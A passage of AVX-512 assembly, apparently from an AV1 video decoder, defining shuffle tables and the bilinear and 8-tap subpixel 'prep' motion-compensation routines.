2, 19, 3, 20, 4, 21, 5, 22, 6, 23, 7 db 24, 8, 25, 9, 26, 10, 27, 11, 28, 12, 29, 13, 30, 14, 31, 15 db 64, 16, 65, 17, 66, 18, 67, 19, 68, 20, 69, 21, 70, 22, 71, 23 db 72, 24, 73, 25, 74, 26, 75, 27, 76, 28, 77, 29, 78, 30, 79, 31 bilin_v_perm32: db 64, 0, 65, 1, 66, 2, 67, 3, 68, 4, 69, 5, 70, 6, 71, 7 db 72, 8, 73, 9, 74, 10, 75, 11, 76, 12, 77, 13, 78, 14, 79, 15 db 80, 16, 81, 17, 82, 18, 83, 19, 84, 20, 85, 21, 86, 22, 87, 23 db 88, 24, 89, 25, 90, 26, 91, 27, 92, 28, 93, 29, 94, 30, 95, 31 bilin_v_perm64: dq 0, 4, 1, 5, 2, 6, 3, 7 spel_h_perm16a: db 0, 1, 2, 3, 1, 2, 3, 4, 2, 3, 4, 5, 3, 4, 5, 6 db 8, 9, 10, 11, 9, 10, 11, 12, 10, 11, 12, 13, 11, 12, 13, 14 db 32, 33, 34, 35, 33, 34, 35, 36, 34, 35, 36, 37, 35, 36, 37, 38 db 40, 41, 42, 43, 41, 42, 43, 44, 42, 43, 44, 45, 43, 44, 45, 46 spel_h_perm16b: db 4, 5, 6, 7, 5, 6, 7, 8, 6, 7, 8, 9, 7, 8, 9, 10 db 12, 13, 14, 15, 13, 14, 15, 16, 14, 15, 16, 17, 15, 16, 17, 18 db 36, 37, 38, 39, 37, 38, 39, 40, 38, 39, 40, 41, 39, 40, 41, 42 db 44, 45, 46, 47, 45, 46, 47, 48, 46, 47, 48, 49, 47, 48, 49, 50 spel_h_perm16c: db 8, 9, 10, 11, 9, 10, 11, 12, 10, 11, 12, 13, 11, 12, 13, 14 db 16, 17, 18, 19, 17, 18, 19, 20, 18, 19, 20, 21, 19, 20, 21, 22 db 40, 41, 42, 43, 41, 42, 43, 44, 42, 43, 44, 45, 43, 44, 45, 46 db 48, 49, 50, 51, 49, 50, 51, 52, 50, 51, 52, 53, 51, 52, 53, 54 spel_h_perm32a: db 0, 1, 2, 3, 1, 2, 3, 4, 2, 3, 4, 5, 3, 4, 5, 6 db 8, 9, 10, 11, 9, 10, 11, 12, 10, 11, 12, 13, 11, 12, 13, 14 db 16, 17, 18, 19, 17, 18, 19, 20, 18, 19, 20, 21, 19, 20, 21, 22 db 24, 25, 26, 27, 25, 26, 27, 28, 26, 27, 28, 29, 27, 28, 29, 30 spel_h_perm32b: db 4, 5, 6, 7, 5, 6, 7, 8, 6, 7, 8, 9, 7, 8, 9, 10 db 12, 13, 14, 15, 13, 14, 15, 16, 14, 15, 16, 17, 15, 16, 17, 18 db 20, 21, 22, 23, 21, 22, 23, 24, 22, 23, 24, 25, 23, 24, 25, 26 db 28, 29, 30, 31, 29, 30, 31, 32, 30, 31, 32, 33, 31, 32, 33, 34 spel_h_perm32c: db 8, 9, 10, 11, 9, 10, 11, 12, 10, 11, 12, 13, 11, 12, 13, 14 db 16, 17, 18, 19, 17, 18, 19, 20, 18, 19, 20, 21, 19, 20, 21, 22 db 24, 25, 26, 27, 25, 26, 27, 28, 26, 27, 28, 29, 27, 28, 29, 30 db 32, 33, 34, 35, 33, 34, 35, 36, 34, 35, 36, 37, 35, 36, 37, 38 spel_hv_perm4a: db 8, 9, 16, 17, 10, 11, 18, 19, 12, 13, 20, 21, 14, 15, 22, 23 db 16, 17, 24, 25, 18, 19, 26, 27, 20, 21, 28, 29, 22, 23, 30, 31 spel_hv_perm4b: db 24, 25, 32, 33, 26, 27, 34, 35, 28, 29, 36, 37, 30, 31, 38, 39 db 32, 33, 40, 41, 34, 35, 42, 43, 36, 37, 44, 45, 38, 39, 46, 47 spel_hv_perm4c: db 40, 41, 48, 49, 42, 43, 50, 51, 44, 45, 52, 53, 46, 47, 54, 55 db 48, 49, 56, 57, 50, 51, 58, 59, 52, 53, 60, 61, 54, 55, 62, 63 deint_shuf4: db 0, 4, 1, 5, 2, 6, 3, 7, 4, 8, 5, 9, 6, 10, 7, 11 subpel_h_shufA: db 0, 1, 2, 3, 1, 2, 3, 4, 2, 3, 4, 5, 3, 4, 5, 6 subpel_h_shufB: db 4, 5, 6, 7, 5, 6, 7, 8, 6, 7, 8, 9, 7, 8, 9, 10 subpel_h_shufC: db 8, 9, 10, 11, 9, 10, 11, 12, 10, 11, 12, 13, 11, 12, 13, 14 bilin_h_shuf4: db 1, 0, 2, 1, 3, 2, 4, 3, 9, 8, 10, 9, 11, 10, 12, 11 bilin_h_shuf8: db 1, 0, 2, 1, 3, 2, 4, 3, 5, 4, 6, 5, 7, 6, 8, 7 bilin_v_shuf4: db 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 9, 5, 10, 6, 11, 7 pb_02461357: db 0, 2, 4, 6, 1, 3, 5, 7 wm_420_perm64: dq 0xfedcba9876543210 wm_sign: dd 0x40804080, 0xc0c0c0c0, 0x40404040 pb_127: times 4 db 127 pw_m128 times 2 dw -128 pw_512: times 2 dw 512 pw_1024: times 2 dw 1024 pw_2048: times 2 dw 2048 pw_6903: times 2 dw 6903 pw_8192: times 2 dw 8192 pd_2: dd 2 pd_32: dd 32 pd_32768: dd 32768 %define pb_m64 (wm_sign+4) %define pb_64 (wm_sign+8) cextern mc_subpel_filters %define subpel_filters (mangle(private_prefix %+ _mc_subpel_filters)-8) %macro BASE_JMP_TABLE 3-* %xdefine %1_%2_table (%%table - %3) %xdefine %%base %1_%2 %%table: %rep %0 - 2 dw %%base %+ _w%3 - %%base %rotate 1 %endrep %endmacro %macro HV_JMP_TABLE 5-* %xdefine %%prefix mangle(private_prefix %+ _%1_%2_%3) %xdefine %%base %1_%3 %assign %%types %4 %if %%types & 1 %xdefine %1_%2_h_%3_table (%%h - %5) %%h: %rep %0 - 4 dw %%prefix %+ .h_w%5 - %%base %rotate 1 %endrep %rotate 4 %endif %if %%types & 2 %xdefine %1_%2_v_%3_table (%%v - %5) %%v: %rep %0 - 4 dw %%prefix %+ .v_w%5 - %%base %rotate 1 %endrep %rotate 4 %endif %if %%types & 4 %xdefine %1_%2_hv_%3_table (%%hv - %5) %%hv: %rep %0 - 4 dw %%prefix %+ .hv_w%5 - %%base %rotate 1 %endrep %endif %endmacro %macro BIDIR_JMP_TABLE 1-* %xdefine %1_table (%%table - 2*%2) %xdefine %%base %1_table %xdefine %%prefix mangle(private_prefix %+ _%1) %%table: %rep %0 - 1 dd %%prefix %+ .w%2 - %%base %rotate 1 %endrep %endmacro %xdefine prep_avx512icl mangle(private_prefix %+ _prep_bilin_avx512icl.prep) %define table_offset(type, fn) type %+ fn %+ SUFFIX %+ _table - type %+ SUFFIX BASE_JMP_TABLE prep, avx512icl, 4, 8, 16, 32, 64, 128 HV_JMP_TABLE prep, bilin, avx512icl, 7, 4, 8, 16, 32, 64, 128 HV_JMP_TABLE prep, 8tap, avx512icl, 7, 4, 8, 16, 32, 64, 128 BIDIR_JMP_TABLE avg_avx512icl, 4, 8, 16, 32, 64, 128 BIDIR_JMP_TABLE w_avg_avx512icl, 4, 8, 16, 32, 64, 128 BIDIR_JMP_TABLE mask_avx512icl, 4, 8, 16, 32, 64, 128 BIDIR_JMP_TABLE w_mask_420_avx512icl, 4, 8, 16, 32, 64, 128 BIDIR_JMP_TABLE w_mask_422_avx512icl, 4, 8, 16, 32, 64, 128 BIDIR_JMP_TABLE w_mask_444_avx512icl, 4, 8, 16, 32, 64, 128 SECTION .text %macro REPX 2-* %xdefine %%f(x) %1 %rep %0 - 1 %rotate 1 %%f(%1) %endrep %endmacro %macro WRAP_YMM 1+ INIT_YMM cpuname %1 INIT_ZMM cpuname %endmacro DECLARE_REG_TMP 3, 5, 6 INIT_ZMM avx512icl cglobal prep_bilin, 3, 7, 0, tmp, src, stride, w, h, mxy, stride3 movifnidn mxyd, r5m ; mx lea t2, [prep_avx512icl] tzcnt wd, wm movifnidn hd, hm test mxyd, mxyd jnz .h mov mxyd, r6m ; my test mxyd, mxyd jnz .v .prep: movzx wd, word [t2+wq*2+table_offset(prep,)] add wq, t2 lea stride3q, [strideq*3] jmp wq .prep_w4: movd xmm0, [srcq+strideq*0] pinsrd xmm0, [srcq+strideq*1], 1 pinsrd xmm0, [srcq+strideq*2], 2 pinsrd xmm0, [srcq+stride3q ], 3 lea srcq, [srcq+strideq*4] pmovzxbw ym0, xmm0 psllw ym0, 4 mova [tmpq], ym0 add tmpq, 32 sub hd, 4 jg .prep_w4 RET .prep_w8: movq xmm0, [srcq+strideq*0] movq xmm1, [srcq+strideq*1] vinserti128 ym0, ymm0, [srcq+strideq*2], 1 vinserti128 ym1, ymm1, [srcq+stride3q ], 1 lea srcq, [srcq+strideq*4] punpcklqdq ym0, ym1 pmovzxbw m0, ym0 psllw m0, 4 mova [tmpq], m0 add tmpq, 32*2 sub hd, 4 jg .prep_w8 RET .prep_w16: movu xmm0, [srcq+strideq*0] vinserti128 ym0, ymm0, [srcq+strideq*1], 1 movu xmm1, [srcq+strideq*2] vinserti128 ym1, ymm1, [srcq+stride3q ], 1 lea srcq, [srcq+strideq*4] pmovzxbw m0, ym0 pmovzxbw m1, ym1 psllw m0, 4 psllw m1, 4 mova [tmpq+64*0], m0 mova [tmpq+64*1], m1 add tmpq, 32*4 sub hd, 4 jg .prep_w16 RET .prep_w32: pmovzxbw m0, [srcq+strideq*0] pmovzxbw m1, [srcq+strideq*1] pmovzxbw m2, [srcq+strideq*2] pmovzxbw m3, [srcq+stride3q ] lea srcq, [srcq+strideq*4] REPX {psllw x, 4}, m0, m1, m2, m3 mova [tmpq+64*0], m0 mova [tmpq+64*1], m1 mova [tmpq+64*2], m2 mova [tmpq+64*3], m3 add tmpq, 64*4 sub hd, 4 jg .prep_w32 RET .prep_w64: pmovzxbw m0, [srcq+strideq*0+32*0] pmovzxbw m1, [srcq+strideq*0+32*1] pmovzxbw m2, [srcq+strideq*1+32*0] pmovzxbw m3, [srcq+strideq*1+32*1] lea srcq, [srcq+strideq*2] REPX {psllw x, 4}, m0, m1, m2, m3 mova [tmpq+64*0], m0 mova [tmpq+64*1], m1 mova [tmpq+64*2], m2 mova [tmpq+64*3], m3 add tmpq, 64*4 sub hd, 2 jg .prep_w64 RET .prep_w128: pmovzxbw m0, [srcq+32*0] pmovzxbw m1, [srcq+32*1] pmovzxbw m2, [srcq+32*2] pmovzxbw m3, [srcq+32*3] REPX {psllw x, 4}, m0, m1, m2, m3 mova [tmpq+64*0], m0 mova [tmpq+64*1], m1 mova [tmpq+64*2], m2 mova [tmpq+64*3], m3 add tmpq, 64*4 add srcq, strideq dec hd jg .prep_w128 RET .h: ; 16 * src[x] + (mx * (src[x + 1] - src[x])) ; = (16 - mx) * src[x] + mx * src[x + 1] imul mxyd, 0xff01 add mxyd, 16 << 8 vpbroadcastw m5, mxyd mov mxyd, r6m ; my test mxyd, mxyd jnz .hv movzx wd, word [t2+wq*2+table_offset(prep, _bilin_h)] add wq, t2 lea stride3q, [strideq*3] jmp wq .h_w4: vbroadcasti32x4 ym4, [bilin_h_shuf4] .h_w4_loop: movq xmm0, [srcq+strideq*0] movq xmm1, [srcq+strideq*1] vinserti32x4 ym0, ymm0, [srcq+strideq*2], 1 vinserti32x4 ym1, ymm1, [srcq+stride3q ], 1 lea srcq, [srcq+strideq*4] punpcklqdq ym0, ym1 pshufb ym0, ym4 pmaddubsw ym0, ym5 mova [tmpq], ym0 add tmpq, 32 sub hd, 4 jg .h_w4_loop RET .h_w8: vbroadcasti32x4 m4, [bilin_h_shuf8] .h_w8_loop: movu xmm0, [srcq+strideq*0] vinserti32x4 ym0, ymm0, [srcq+strideq*1], 1 vinserti32x4 m0, [srcq+strideq*2], 2 vinserti32x4 m0, [srcq+stride3q ], 3 lea srcq, [srcq+strideq*4] pshufb m0, m4 pmaddubsw m0, m5 mova [tmpq], m0 add tmpq, 64 sub hd, 4 jg .h_w8_loop RET .h_w16: mova m4, [bilin_h_perm16] .h_w16_loop: movu ym0, [srcq+strideq*0] vinserti32x8 m0, [srcq+strideq*1], 1 movu ym1, [srcq+strideq*2] vinserti32x8 m1, [srcq+stride3q ], 1 lea srcq, [srcq+strideq*4] vpermb m0, m4, m0 vpermb m1, m4, m1 pmaddubsw m0, m5 pmaddubsw m1, m5 mova [tmpq+64*0], m0 mova [tmpq+64*1], m1 add tmpq, 64*2 sub hd, 4 jg .h_w16_loop RET .h_w32: mova m4, [bilin_h_perm32] .h_w32_loop: vpermb m0, m4, [srcq+strideq*0] vpermb m1, m4, [srcq+strideq*1] vpermb m2, m4, [srcq+strideq*2] vpermb m3, m4, [srcq+stride3q ] lea srcq, [srcq+strideq*4] pmaddubsw m0, m5 pmaddubsw m1, m5 pmaddubsw m2, m5 pmaddubsw m3, m5 mova [tmpq+64*0], m0 mova [tmpq+64*1], m1 mova [tmpq+64*2], m2 mova [tmpq+64*3], m3 add tmpq, 64*4 sub hd, 4 jg .h_w32_loop RET .h_w64: mova m4, [bilin_h_perm32] .h_w64_loop: vpermb m0, m4, [srcq+strideq*0+32*0] vpermb m1, m4, [srcq+strideq*0+32*1] vpermb m2, m4, [srcq+strideq*1+32*0] vpermb m3, m4, [srcq+strideq*1+32*1] lea srcq, [srcq+strideq*2] pmaddubsw m0, m5 pmaddubsw m1, m5 pmaddubsw m2, m5 pmaddubsw m3, m5 mova [tmpq+64*0], m0 mova [tmpq+64*1], m1 mova [tmpq+64*2], m2 mova [tmpq+64*3], m3 add tmpq, 64*4 sub hd, 2 jg .h_w64_loop RET .h_w128: mova m4, [bilin_h_perm32] .h_w128_loop: vpermb m0, m4, [srcq+32*0] vpermb m1, m4, [srcq+32*1] vpermb m2, m4, [srcq+32*2] vpermb m3, m4, [srcq+32*3] pmaddubsw m0, m5 pmaddubsw m1, m5 pmaddubsw m2, m5 pmaddubsw m3, m5 mova [tmpq+64*0], m0 mova [tmpq+64*1], m1 mova [tmpq+64*2], m2 mova [tmpq+64*3], m3 add tmpq, 64*4 add srcq, strideq dec hd jg .h_w128_loop RET .v: WIN64_SPILL_XMM 7 movzx wd, word [t2+wq*2+table_offset(prep, _bilin_v)] imul mxyd, 0xff01 add mxyd, 16 << 8 add wq, t2 lea stride3q, [strideq*3] vpbroadcastw m6, mxyd jmp wq .v_w4: vpbroadcastd xm0, [srcq+strideq*0] mov r3d, 0x29 vbroadcasti32x4 ym3, [bilin_v_shuf4] kmovb k1, r3d .v_w4_loop: vpblendmd xm1{k1}, xm0, [srcq+strideq*1] {1to4} ; __01 ____ vpbroadcastd ym2, [srcq+strideq*2] vpbroadcastd ym2{k1}, [srcq+stride3q ] ; __2_ 23__ lea srcq, [srcq+strideq*4] vpbroadcastd ym0, [srcq+strideq*0] punpckhqdq ym2{k1}, ym1, ym0 ; 012_ 234_ pshufb ym2, ym3 pmaddubsw ym2, ym6 mova [tmpq], ym2 add tmpq, 32 sub hd, 4 jg .v_w4_loop RET .v_w8: mova m5, [bilin_v_perm8] vbroadcasti32x4 ym0, [srcq+strideq*0] .v_w8_loop: vinserti32x4 ym1, ym0, [srcq+strideq*1], 1 vpbroadcastq ym0, [srcq+strideq*2] vinserti32x4 m1, [srcq+stride3q ], 2 lea srcq, [srcq+strideq*4] vinserti32x4 ym0, [srcq+strideq*0], 0 vpermt2b m1, m5, m0 pmaddubsw m1, m6 mova [tmpq], m1 add tmpq, 64 sub hd, 4 jg .v_w8_loop RET .v_w16: mova m5, [bilin_v_perm16] movu xm0, [srcq+strideq*0] .v_w16_loop: movu xm2, [srcq+strideq*2] vinserti32x4 ym1, ym0, [srcq+strideq*1], 1 vpermt2b m1, m5, m2 vinserti32x4 ym2, [srcq+stride3q ], 1 lea srcq, [srcq+strideq*4] movu xm0, [srcq+strideq*0] vpermt2b m2, m5, m0 pmaddubsw m1, m6 pmaddubsw m2, m6 mova [tmpq+64*0], m1 mova [tmpq+64*1], m2 add tmpq, 64*2 sub hd, 4 jg .v_w16_loop RET .v_w32: mova m5, [bilin_v_perm32] movu ym0, [srcq+strideq*0] .v_w32_loop: movu ym2, [srcq+strideq*1] movu ym3, [srcq+strideq*2] movu ym4, [srcq+stride3q ] lea srcq, [srcq+strideq*4] vpermt2b m0, m5, m2 vpermt2b m2, m5, m3 vpermt2b m3, m5, m4 pmaddubsw m1, m0, m6 movu ym0, [srcq+strideq*0] vpermt2b m4, m5, m0 pmaddubsw m2, m6 pmaddubsw m3, m6 pmaddubsw m4, m6 mova [tmpq+64*0], m1 mova [tmpq+64*1], m2 mova [tmpq+64*2], m3 mova [tmpq+64*3], m4 add tmpq, 64*4 sub hd, 4 jg .v_w32_loop RET .v_w64: mova m5, [bilin_v_perm64] vpermq m0, m5, [srcq+strideq*0] .v_w64_loop: vpermq m1, m5, [srcq+strideq*1] lea srcq, [srcq+strideq*2] punpcklbw m4, m1, m0 punpckhbw m2, m1, m0 vpermq m0, m5, [srcq+strideq*0] punpcklbw m3, m0, m1 punpckhbw m1, m0, m1 pmaddubsw m4, m6 pmaddubsw m2, m6 pmaddubsw m3, m6 pmaddubsw m1, m6 mova [tmpq+64*0], m4 mova [tmpq+64*1], m2 mova [tmpq+64*2], m3 mova [tmpq+64*3], m1 add tmpq, 64*4 sub hd, 2 jg .v_w64_loop RET .v_w128: mova m5, [bilin_v_perm64] vpermq m0, m5, [srcq+strideq*0+ 0] vpermq m1, m5, [srcq+strideq*0+64] .v_w128_loop: vpermq m2, m5, [srcq+strideq*1+ 0] vpermq m3, m5, [srcq+strideq*1+64] lea srcq, [srcq+strideq*2] punpcklbw m4, m2, m0 punpckhbw m0, m2, m0 pmaddubsw m4, m6 pmaddubsw m0, m6 mova [tmpq+64*0], m4 mova [tmpq+64*1], m0 punpcklbw m4, m3, m1 punpckhbw m1, m3, m1 pmaddubsw m4, m6 pmaddubsw m1, m6 mova [tmpq+64*2], m4 mova [tmpq+64*3], m1 vpermq m0, m5, [srcq+strideq*0+ 0] vpermq m1, m5, [srcq+strideq*0+64] punpcklbw m4, m0, m2 punpckhbw m2, m0, m2 pmaddubsw m4, m6 pmaddubsw m2, m6 mova [tmpq+64*4], m4 mova [tmpq+64*5], m2 punpcklbw m4, m1, m3 punpckhbw m3, m1, m3 pmaddubsw m4, m6 pmaddubsw m3, m6 mova [tmpq+64*6], m4 mova [tmpq+64*7], m3 add tmpq, 64*8 sub hd, 2 jg .v_w128_loop RET .hv: ; (16 * src[x] + (my * (src[x + src_stride] - src[x])) + 8) >> 4 ; = src[x] + (((my * (src[x + src_stride] - src[x])) + 8) >> 4) %assign stack_offset stack_offset - stack_size_padded WIN64_SPILL_XMM 7 movzx wd, word [t2+wq*2+table_offset(prep, _bilin_hv)] shl mxyd, 11 vpbroadcastw m6, mxyd add wq, t2 lea stride3q, [strideq*3] jmp wq .hv_w4: vbroadcasti32x4 ym4, [bilin_h_shuf4] vpbroadcastq ym0, [srcq+strideq*0] pshufb ym0, ym4 pmaddubsw ym0, ym5 .hv_w4_loop: movq xmm1, [srcq+strideq*1] movq xmm2, [srcq+strideq*2] vinserti32x4 ym1, ymm1, [srcq+stride3q ], 1 lea srcq, [srcq+strideq*4] vinserti32x4 ym2, ymm2, [srcq+strideq*0], 1 punpcklqdq ym1, ym2 pshufb ym1, ym4 pmaddubsw ym1, ym5 ; 1 2 3 4 valignq ym2, ym1, ym0, 3 ; 0 1 2 3 mova ym0, ym1 psubw ym1, ym2 pmulhrsw ym1, ym6 paddw ym1, ym2 mova [tmpq], ym1 add tmpq, 32 sub hd, 4 jg .hv_w4_loop RET .hv_w8: vbroadcasti32x4 m4, [bilin_h_shuf8] vbroadcasti32x4 m0, [srcq+strideq*0] pshufb m0, m4 pmaddubsw m0, m5 .hv_w8_loop: movu xmm1, [srcq+strideq*1] vinserti128 ym1, ymm1, [srcq+strideq*2], 1 vinserti128 m1, [srcq+stride3q ], 2 lea srcq, [srcq+strideq*4] vinserti128 m1, [srcq+strideq*0], 3 pshufb m1, m4 pmaddubsw m1, m5 ; 1 2 3 4 valignq m2, m1, m0, 6 ; 0 1 2 3 mova m0, m1 psubw m1, m2 pmulhrsw m1, m6 paddw m1, m2 mova [tmpq], m1 add tmpq, 64 sub hd, 4 jg .hv_w8_loop RET .hv_w16: mova m4, [bilin_h_perm16] vbroadcasti32x8 m0, [srcq+strideq*0] vpermb m0, m4, m0 pmaddubsw m0, m5 .hv_w16_loop: movu ym1, [srcq+strideq*1] vinserti32x8 m1, [srcq+strideq*2], 1 movu ym2, [srcq+stride3q ] lea srcq, [srcq+strideq*4] vinserti32x8 m2, [srcq+strideq*0], 1 vpermb m1, m4, m1 vpermb m2, m4, m2 pmaddubsw m1, m5 ; 1 2 vshufi32x4 m3, m0, m1, q1032 ; 0 1 pmaddubsw m0, m2, m5 ; 3 4 vshufi32x4 m2, m1, m0, q1032 ; 2 3 psubw m1, m3 pmulhrsw m1, m6 paddw m1, m3 psubw m3, m0, m2 pmulhrsw m3, m6 paddw m3, m2 mova [tmpq+64*0], m1 mova [tmpq+64*1], m3 add tmpq, 64*2 sub hd, 4 jg .hv_w16_loop RET .hv_w32: mova m4, [bilin_h_perm32] vpermb m0, m4, [srcq+strideq*0] pmaddubsw m0, m5 .hv_w32_loop: vpermb m1, m4, [srcq+strideq*1] lea srcq, [srcq+strideq*2] vpermb m2, m4, [srcq+strideq*0] pmaddubsw m1, m5 psubw m3, m1, m0 pmulhrsw m3, m6 paddw m3, m0 pmaddubsw m0, m2, m5 psubw m2, m0, m1 pmulhrsw m2, m6 paddw m2, m1 mova [tmpq+64*0], m3 mova [tmpq+64*1], m2 add tmpq, 64*2 sub hd, 2 jg .hv_w32_loop RET .hv_w64: mova m4, [bilin_h_perm32] vpermb m0, m4, [srcq+32*0] vpermb m1, m4, [srcq+32*1] pmaddubsw m0, m5 pmaddubsw m1, m5 .hv_w64_loop: add srcq, strideq vpermb m2, m4, [srcq+32*0] vpermb m3, m4, [srcq+32*1] pmaddubsw m2, m5 pmaddubsw m3, m5 psubw m7, m2, m0 psubw m8, m3, m1 pmulhrsw m7, m6 pmulhrsw m8, m6 paddw m7, m0 mova m0, m2 paddw m8, m1 mova m1, m3 mova [tmpq+64*0], m7 mova [tmpq+64*1], m8 add tmpq, 64*2 dec hd jg .hv_w64_loop RET .hv_w128: mova m4, [bilin_h_perm32] vpermb m0, m4, [srcq+32*0] vpermb m1, m4, [srcq+32*1] vpermb m2, m4, [srcq+32*2] vpermb m3, m4, [srcq+32*3] REPX {pmaddubsw x, m5}, m0, m1, m2, m3 .hv_w128_loop: add srcq, strideq vpermb m7, m4, [srcq+32*0] vpermb m8, m4, [srcq+32*1] vpermb m9, m4, [srcq+32*2] vpermb m10, m4, [srcq+32*3] REPX {pmaddubsw x, m5}, m7, m8, m9, m10 psubw m11, m7, m0 psubw m12, m8, m1 psubw m13, m9, m2 psubw m14, m10, m3 REPX {pmulhrsw x, m6}, m11, m12, m13, m14 paddw m11, m0 mova m0, m7 paddw m12, m1 mova m1, m8 paddw m13, m2 mova m2, m9 paddw m14, m3 mova m3, m10 mova [tmpq+64*0], m11 mova [tmpq+64*1], m12 mova [tmpq+64*2], m13 mova [tmpq+64*3], m14 add tmpq, 64*4 dec hd jg .hv_w128_loop RET ; int8_t subpel_filters[5][15][8] %assign FILTER_REGULAR (0*15 << 16) | 3*15 %assign FILTER_SMOOTH (1*15 << 16) | 4*15 %assign FILTER_SHARP (2*15 << 16) | 3*15 %macro FN 4 ; fn, type, type_h, type_v cglobal %1_%2 mov t0d, FILTER_%3 %ifidn %3, %4 mov t1d, t0d %else mov t1d, FILTER_%4 %endif %ifnidn %2, regular ; skip the jump in the last filter jmp mangle(private_prefix %+ _%1 %+ SUFFIX) %endif %endmacro %macro PREP_8TAP_H 0 vpermb m10, m5, m0 vpermb m11, m5, m1 vpermb m12, m6, m0 vpermb m13, m6, m1 vpermb m14, m7, m0 vpermb m15, m7, m1 mova m0, m4 vpdpbusd m0, m10, m8 mova m2, m4 vpdpbusd m2, m12, m8 mova m1, m4 vpdpbusd m1, m11, m8 mova m3, m4 vpdpbusd m3, m13, m8 vpdpbusd m0, m12, m9 vpdpbusd m2, m14, m9 vpdpbusd m1, m13, m9 vpdpbusd m3, m15, m9 packssdw m0, m2 packssdw m1, m3 psraw m0, 2 psraw m1, 2 mova [tmpq+64*0], m0 mova [tmpq+64*1], m1 %endmacro %if WIN64 DECLARE_REG_TMP 6, 4 %else DECLARE_REG_TMP 6, 7 %endif %define PREP_8TAP_FN FN prep_8tap, PREP_8TAP_FN sharp, SHARP, SHARP PREP_8TAP_FN sharp_smooth, SHARP, SMOOTH PREP_8TAP_FN smooth_sharp, SMOOTH, SHARP PREP_8TAP_FN smooth, SMOOTH, SMOOTH PREP_8TAP_FN sharp_regular, SHARP, REGULAR PREP_8TAP_FN regular_sharp, REGULAR, SHARP PREP_8TAP_FN smooth_regular, SMOOTH, REGULAR PREP_8TAP_FN regular_smooth, REGULAR, SMOOTH PREP_8TAP_FN regular, REGULAR, REGULAR cglobal prep_8tap, 3, 8, 0, tmp, src, stride, w, h, mx, my, stride3 imul mxd, mxm, 0x010101 add mxd, t0d ; 8tap_h, mx, 4tap_h imul myd, mym, 0x010101 add myd, t1d ; 8tap_v, my, 4tap_v lea r7, [prep_avx512icl] movsxd wq, wm movifnidn hd, hm test mxd, 0xf00 jnz .h test myd, 0xf00 jnz .v tzcnt wd, wd movzx wd, word [r7+wq*2+table_offset(prep,)] add wq, r7 lea r6, [strideq*3] %if WIN64 pop r7 %endif jmp wq .h: test myd, 0xf00 jnz .hv vpbroadcastd m4, [pd_2] WIN64_SPILL_XMM 10 cmp wd, 4 je .h_w4 tzcnt wd, wd shr mxd, 16 sub srcq, 3 movzx wd, word [r7+wq*2+table_offset(prep, _8tap_h)] vpbroadcastd m8, [r7+mxq*8+subpel_filters-prep_avx512icl+0] vpbroadcastd m9, [r7+mxq*8+subpel_filters-prep_avx512icl+4] add wq, r7 jmp wq .h_w4: movzx mxd, mxb vbroadcasti128 ym5, [subpel_h_shufA] mov r3d, 0x4 dec srcq vpbroadcastd ym6, [r7+mxq*8+subpel_filters-prep_avx512icl+2] kmovb k1, r3d lea stride3q, [strideq*3] .h_w4_loop: movq xm2, [srcq+strideq*0] movq xm3, [srcq+strideq*1] vpbroadcastq ym2{k1}, [srcq+strideq*2] vpbroadcastq ym3{k1}, [srcq+stride3q ] lea srcq, [srcq+strideq*4] pshufb ym2, ym5 pshufb ym3, ym5 mova ym0, ym4 vpdpbusd ym0, ym2, ym6 mova ym1, ym4 vpdpbusd ym1, ym3, ym6 packssdw ym0, ym1 psraw ym0, 2 mova [tmpq], ym0 add tmpq, 32 sub hd, 4 jg .h_w4_loop RET .h_w8: vbroadcasti128 m5, [subpel_h_shufA] vbroadcasti128 m6, [subpel_h_shufB] vbroadcasti128 m7, [subpel_h_shufC] lea stride3q, [strideq*3] .h_w8_loop: movu xmm3, [srcq+strideq*0] vinserti128 ym3, ymm3, [srcq+strideq*1], 1 vinserti128 m3, [srcq+strideq*2], 2 vinserti128 m3, [srcq+stride3q ], 3 lea srcq, [srcq+strideq*4] pshufb m1, m3, m5 pshufb m2, m3, m6 mova m0, m4 vpdpbusd m0, m1, m8 mova m1, m4 vpdpbusd m1, m2, m8 pshufb m3, m7 vpdpbusd m0, m2, m9 vpdpbusd m1, m3, m9 packssdw m0, m1 psraw m0, 2 mova [tmpq], m0 add tmpq, 64 sub hd, 4 jg .h_w8_loop RET .h_w16: mova m5, [spel_h_perm16a] mova m6, [spel_h_perm16b] mova m7, [spel_h_perm16c] lea stride3q, [strideq*3] .h_w16_loop: movu ym0, [srcq+strideq*0] movu ym1, [srcq+strideq*2] vinserti32x8 m0, [srcq+strideq*1], 1 vinserti32x8 m1, [srcq+stride3q ], 1 lea srcq, [srcq+strideq*4] PREP_8TAP_H add tmpq, 64*2 sub hd, 4 jg .h_w16_loop RET .h_w32: mova m5, [spel_h_perm32a] mova m6, [spel_h_perm32b] mova m7, [spel_h_perm32c] .h_w32_loop: movu m0, [srcq+strideq*0] movu m1, [srcq+strideq*1] lea srcq, [srcq+strideq*2] PREP_8TAP_H add tmpq, 64*2 sub hd, 2 jg .h_w32_loop RET .h_w64: xor r6d, r6d jmp .h_start .h_w128: mov r6, -64*1 .h_start: mova m5, [spel_h_perm32a] mova m6, [spel_h_perm32b] mova m7, [spel_h_perm32c] sub srcq, r6 mov r5, r6 .h_loop: movu m0, [srcq+r6+32*0] movu m1, [srcq+r6+32*1] PREP_8TAP_H add tmpq, 64*2 add r6, 64 jle .h_loop add srcq, strideq mov r6, r5 dec hd jg .h_loop RET .v: movzx mxd, myb ; Select 4-tap/8-tap filter multipliers. shr myd, 16 ; Note that the code is 8-tap only, having tzcnt wd, wd cmp hd, 4 ; a separate 4-tap code path for (4|8|16)x4 cmove myd, mxd ; had a negligible effect on performance. ; TODO: Would a 6-tap code path be worth it? lea myq, [r7+myq*8+subpel_filters-prep_avx512icl] movzx wd, word [r7+wq*2+table_offset(prep, _8tap_v)] add wq, r7 lea stride3q, [strideq*3] sub srcq, stride3q vpbroadcastd m7, [pw_8192] vpbroadcastw m8, [myq+0] vpbroadcastw m9, [myq+2] vpbroadcastw m10, [myq+4] vpbroadcastw m11, [myq+6] jmp wq .v_w4: movd xmm0, [srcq+strideq*0] vpbroadcastd ymm1, [srcq+strideq*2] vpbroadcastd xmm2, [srcq+strideq*1] vpbroadcastd ymm3, [srcq+stride3q ] lea srcq, [srcq+strideq*4] vpblendd ymm1, ymm0, 0x01 ; 0 2 2 _ 2 _ _ _ vpblendd ymm3, ymm2, 0x03 ; 1 1 3 3 3 3 _ _ vpbroadcastd ymm0, [srcq+strideq*0] vpbroadcastd ymm2, [srcq+strideq*1] vpblendd ymm1, ymm0, 0x68 